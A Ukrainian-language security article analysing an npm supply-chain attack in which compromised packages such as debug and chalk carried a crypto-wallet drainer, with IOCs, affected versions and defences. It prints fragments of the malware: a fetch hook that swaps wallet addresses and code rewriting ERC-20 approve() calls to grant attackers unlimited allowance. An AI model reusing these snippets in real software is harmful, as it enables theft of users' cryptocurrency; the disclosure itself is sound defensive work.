Атака на ланцюг постачання NPM

Екосистема NPM зазнала ще однієї масштабної атаки на ланцюг постачання, коли 27 популярних пакетів, зокрема широко використовувані бібліотеки debug та chalk, були скомпрометовані шкідливим програмним забезпеченням типу криптовалютного дрейнера. Ця атака, що торкнулася пакетів із понад 2 мільярдами щотижневих завантажень, демонструє, як кіберзлочинці використовують довірені канали поширення програмного забезпечення для розгортання складного коду викрадення гаманців Web3.

У цій статті здійснюється детальний розбір роботи шкідливого навантаження, способів його поширення через пакети npm, а також індикаторів компрометації, пов’язаних із цим інцидентом у ланцюгу постачання.

Компрометація ланцюга постачання NPM

Атака розпочалася зі складної фішингової кампанії, спрямованої проти мейнтейнерів пакетів. Зловмисники розсилали підроблені електронні листи з адреси «support@npmjs.help» – домену, зареєстрованого всього за три дні до атаки, – що дозволило їм успішно отримати облікові дані мейнтейнерів. Це дало змогу впровадити шкідливий код у 27 популярних пакетів npm, серед яких:

  • debug – популярна утиліта для налагодження
  • chalk – бібліотека для стилізації рядків у терміналі
  • інші пакети з мільйонами щотижневих завантажень

Скомпрометовані пакети містили шкідливе навантаження, спеціально розроблене для атаки на Web3-застосунки та криптовалютні транзакції. Ця атака на ланцюг постачання демонструє, як довірені залежності у процесі розробки можуть перетворитися на канали поширення фінансового шкідливого ПЗ.

Поверхня атаки на гаманці Web3

Гаманці Web3, такі як MetaMask, Trust Wallet та інші браузерні криптовалютні гаманці, стали незамінними інструментами для взаємодії з децентралізованими застосунками (DApp). Коли розробники несвідомо встановлюють скомпрометовані пакети npm, шкідливий код отримує доступ до того самого середовища виконання JavaScript, що й ці гаманці, що відкриває можливість для складних атак із маніпулювання транзакціями. Браузерна природа як коду, що постачається через npm, і гаманців Web3 створює ідеальні умови для подібних атак на ланцюг постачання.

Аналіз шкідливого ПЗ

Досліджений криптовалютний дрейнер демонструє глибокі знання блокчейн-протоколів та механізмів взаємодії з гаманцями. Шкідливе програмне забезпечення працює непомітно у фоновому режимі, перехоплюючи комунікації гаманця та перенаправляючи криптовалютні транзакції на адреси, що контролюються зловмисниками, у різних блокчейн-мережах.

Початкові методи обфускації

Початковий код шкідника активно використовує обфускацію, щоб уникнути виявлення. Імена змінних замінено на шістнадцяткові ідентифікатори на кшталт _0x124ed3, _0xba16ef, а назви функцій приховані за подібними прийомами. Крім того, програма застосовує складну об’єктну структуру для збереження сотень криптовалютних адрес, що значно ускладнює статичний аналіз.

var _0xba16ef = {
  'zprkq': function (_0x23e86b, _0x5b593c) {
    return _0x23e86b + _0x5b593c;
  },
  'OiGzk': "1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx",
  'FlhWy': "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976"
  // ... hundreds more obfuscated properties
};

Фрагмент 1. Обфускована структура змінних, що містить адреси зловмисників

Багатоступеневий ланцюг атаки

Після встановлення та запуску скомпрометованого пакета npm у середовищі розробки чи у середовищі продакшну шкідливе ПЗ працює через кілька узгоджених етапів, кожен із яких спрямований на закріплення в системі та максимізацію можливостей для викрадення криптовалюти.

Етап 1: Виконання пакета npm та виявлення середовища

Шкідливе ПЗ спершу запускається як частина процесу інсталяції або виконання легітимного пакета npm. Далі воно здійснює перевірку середовища, щоб визначити наявність гаманців Web3, та ініціює запуск свого шкідливого навантаження.

Етап 2: Виявлення та ініціалізація гаманця Web3

Шкідливе ПЗ починає з пошуку гаманців Web3 у середовищі браузера. Зокрема, воно перевіряє наявність об’єктів window.ethereum, що свідчать про використання MetaMask чи інших гаманців, сумісних з Ethereum.

async function checkethereumw() {
  try {
    const accounts = await window.ethereum.request({
      'method': "eth_accounts"
    });
    if (accounts.length > 0) {
      runmask(); // Initialize wallet hijacking
    }
  } catch (error) {
    // Fallback initialization
  }
}

Фрагмент 2. Механізм виявлення гаманців

Етап 3: Перехоплення мережевого трафіку

Після ініціалізації шкідливе ПЗ «під’єднується» до fetch API та XMLHttpRequest, щоб перехоплювати всі мережеві комунікації. Це дає змогу змінювати відповіді API, які містять криптовалютні адреси, ще до того, як вони потраплять у застосунок жертви.

// Hook fetch API
fetch = async function (...args) {
  const response = await fetch(...args);
  const modifiedData = replaceAddressesInContent(data);
  return new Response(modifiedData, {
    'status': response.status,
    'headers': response.headers
  });
};

Фрагмент 3. Механізм перехоплення мережевого трафіку

Етап 4: Розширена підміна адрес із використанням нечіткого зіставлення

Можливо, найскладніший аспект цього шкідливого ПЗ полягає у застосуванні алгоритму відстані Левенштейна для виконання нечіткого порівняння рядків. Замість простої підміни рядка воно знаходить «найближчу» адресу зловмисника до будь-якої легітимної адреси, яку зустрічає, роблячи підміну менш помітною.

function calculateEditDistance(str1, str2) {
  // Levenshtein distance implementation
  const matrix = Array.from({
    'length': str1.length + 1
  }, () => Array(str2.length + 1).fill(0));
  // ... distance calculation logic
}

Фрагмент 4. Алгоритм нечіткого зіставлення для підміни адрес

Етап 5: Перехоплення та маніпуляція транзакціями

Остаточний і найбільш критичний етап полягає у перехопленні методів транзакцій гаманця та їх зміні на користь зловмисника. Шкідливе ПЗ націлюється на кілька ключових функцій Ethereum:

Маніпуляція схваленням токенів ERC-20:

  • Перехоплює виклики approve() (0x095ea7b3) та надає необмежений дозвіл на адресу зловмисника.
  • Замінює адресу одержувача на адресу зловмисника.
  • Встановлює суму схвалення на максимальне значення (усі «f» у шістнадцятковому представленні).

Перенаправлення транзакцій:

  • Перехоплює виклики transfer() (0xa9059cbb) та перенаправляє кошти.
  • Змінює виклики transferFrom() (0x23b872dd), щоб викрасти токени.
  • Маніпулює функціями permit (0xd505accf) для здійснення підтверджень без плати за комісію.
if (data.startsWith("0x095ea7b3")) {
  const functionSig = data.substring(0, 10);
  const attackerAddress = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976";
  const unlimitedAmount = 'f'.repeat(64);
  modified.data = functionSig + attackerAddress + unlimitedAmount;
}

Фрагмент 5. Маніпуляція схваленням ERC-20

Підтримка міжмережевих транзакцій

Шкідливе ПЗ демонструє високий технічний рівень, оскільки підтримує кілька криптовалютних мереж:

  • Ethereum: токени ERC-20 та перекази ETH
  • Bitcoin: формати адрес Legacy та SegWit
  • Solana: транзакції з токенами SPL
  • TRON: TRX і токени TRC-20
  • Litecoin: кілька форматів адрес
  • Bitcoin Cash: формат CashAddr

Кожна блокчейн-мережа має власні патерни адрес і структури транзакцій, що вимагає від шкідника реалізації окремої логіки обробки для кожної з них.

Механізми приховування та закріплення

Шкідливе ПЗ застосовує кілька технік, щоб залишатися непоміченим:

  • Перехоплення методів: зберігає оригінальні посилання на функції та відновлює їх у разі потреби.
  • Поступове розгортання: використовує повторні спроби з паузами, щоб уникати виявлення.
  • Обробка помилок: передбачає коректні резервні сценарії, щоб уникнути аварійного завершення роботи основного застосунку.
  • Інтерфейс налагодження: прихований контрольний інтерфейс для відстеження успішності перехоплення.
window.stealthProxyControl = {
  'isActive': () => isActive,
  'getInterceptCount': () => interceptionCount,
  'forceShield': () => hookWalletProvider(window.ethereum)
};

Фрагмент 6. Прихований інтерфейс налагодження

Основні індикатори компрометації

Головні адреси зловмисників:

Ethereum:

  • 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 (основна)
  • 0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024
  • 0x40C351B989113646bc4e9Dfe66AE66D24fE6Da7B

Bitcoin Legacy:

  • 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx
  • 1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd

Bitcoin SegWit:

  • bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm
  • bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9

Solana:

  • 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6
  • 98EWM95ct8tBYWroCxXYN9vCgN7NTcR6nUsvCx1mEdLZ

Наслідки та реальні загрози

Ця атака на ланцюг постачання npm створює безпрецедентні ризики для екосистеми криптовалют:

  1. Масштабність: із понад 2 мільярдами щотижневих завантажень потенційна кількість жертв є колосальною.
  2. Довіра до ланцюга постачання: компрометація надійних залежностей у розробці руйнує базові припущення щодо безпеки.
  3. Фінансові втрати: пряме викрадення криптовалют і токенів у різних блокчейн-мережах.
  4. Порушення взаємодії з DeFi: необмежені схвалення токенів створюють можливість майбутнього «зливу» коштів.
  5. Міжмережевий вплив: одночасні атаки в кількох блокчейн-мережах.
  6. Атаки на розробників: цілеспрямоване націлення на спільноту розробників, які часто є ранніми користувачами технологій Web3.
  7. Приховані операції: складність виявлення дозволяє тривалий час залишатися у середовищах розробки та продакшну.

Поєднання розповсюдження через ланцюг постачання та використання нечіткого зіставлення адрес робить цю атаку особливо небезпечною, адже і механізм доставки, і шкідливе навантаження виглядають легітимними, що суттєво знижує ймовірність їх виявлення.

Висновок

Розглянутий складний криптовалютний дрейнер демонструє зміну характеру загроз, із якими стикаються користувачі Web3. Поєднання передових методів обфускації, підтримки кількох блокчейн-мереж та інтелектуальних алгоритмів підміни адрес робить це шкідливе ПЗ суттєвим кроком уперед у можливостях викрадення криптовалют.

Цей інцидент підкреслює критичну важливість підвищення обізнаності щодо безпеки у сфері Web3 та необхідність впровадження надійних заходів захисту під час взаємодії з криптовалютними застосунками. У міру зростання екосистеми децентралізованих фінансів можна очікувати появи дедалі складніших атак, спрямованих на інфраструктуру гаманців та взаємодію користувачів.

Рекомендації щодо запобігання

Щоб захиститися від подібних атак на ланцюг постачання та викрадення криптовалют, розробники та організації повинні впроваджувати такі заходи:

Безпека ланцюга постачання:

  • Аудит залежностей: регулярно перевіряти залежності npm.
  • Файли блокування пакетів: використовувати package-lock.json для забезпечення узгоджених версій залежностей.
  • Надійні джерела: перевіряти видавців пакетів та уникати пакетів із підозрілими змінами власності.
  • Моніторинг залежностей: впроваджувати відстеження неочікуваних оновлень чи змін у пакетах.
  • Приватні реєстри: розглянути використання приватних npm-реєстрів для критично важливих застосунків.

Виявлення та реагування:

  • Моніторинг мережі: відстежувати підозрілу мережеву активність та зміни у роботі API.
  • Аналіз поведінки: впроваджувати механізми виявлення нетипових патернів взаємодії з гаманцями.
  • Сканування безпеки: застосовувати інструменти на кшталт Mend.io для виявлення шкідливих інсталяцій пакетів.

У міру того як атаки на ланцюг постачання стають дедалі складнішими, а використання криптовалют продовжує зростати, проактивні заходи безпеки стають життєво необхідними. Масштабність екосистеми npm і значні фінансові стимули у Web3 роблять цей вектор атак особливо привабливим для кіберзлочинців, що потребує підвищеної пильності від усієї спільноти розробників.

Скомпрометовані пакети

ПакетВерсіяMSC
backslash0.2.1MSC-2025-7955
chalk-template1.1.1MSC-2025-7876
supports-hyperlinks4.1.1MSC-2025-7872
has-ansi6.0.1MSC-2025-7873
simple-swizzle0.2.3MSC-2025-7886
color-string2.1.1MSC-2025-7875
error-ex1.3.3MSC-2025-7881
color-name2.0.1MSC-2025-7882
is-arrayish0.3.3MSC-2025-7953
slice-ansi7.1.1MSC-2025-7874
color-convert3.1.1MSC-2025-7954
wrap-ansi9.0.1MSC-2025-7877
ansi-regex6.2.1MSC-2025-7880
supports-color10.2.1MSC-2025-7879
strip-ansi7.1.1MSC-2025-7878
chalk5.6.1MSC-2025-7884
debug4.4.2MSC-2025-7887
ansi-styles6.2.2MSC-2025-7871
proto-tinker-wc0.1.87MSC-2025-7883
Prebid-universal-creative1.17.3MSC-2025-7890
duckdb1.3.3MSC-2025-7949
@duckdb/node-api1.3.3MSC-2025-7888
@duckdb/node-bindings1.3.3MSC-2025-7889
@duckdb/duckdb-wasm1.29.2MSC-2025-7930
prebid.js10.9.2MSC-2025-7950
Prebid10.9.1,10.9.2MSC-2025-7951
MSC-2025-7952
@coveops/abi2.0.1MSC-2025-7948

Підписатися на новини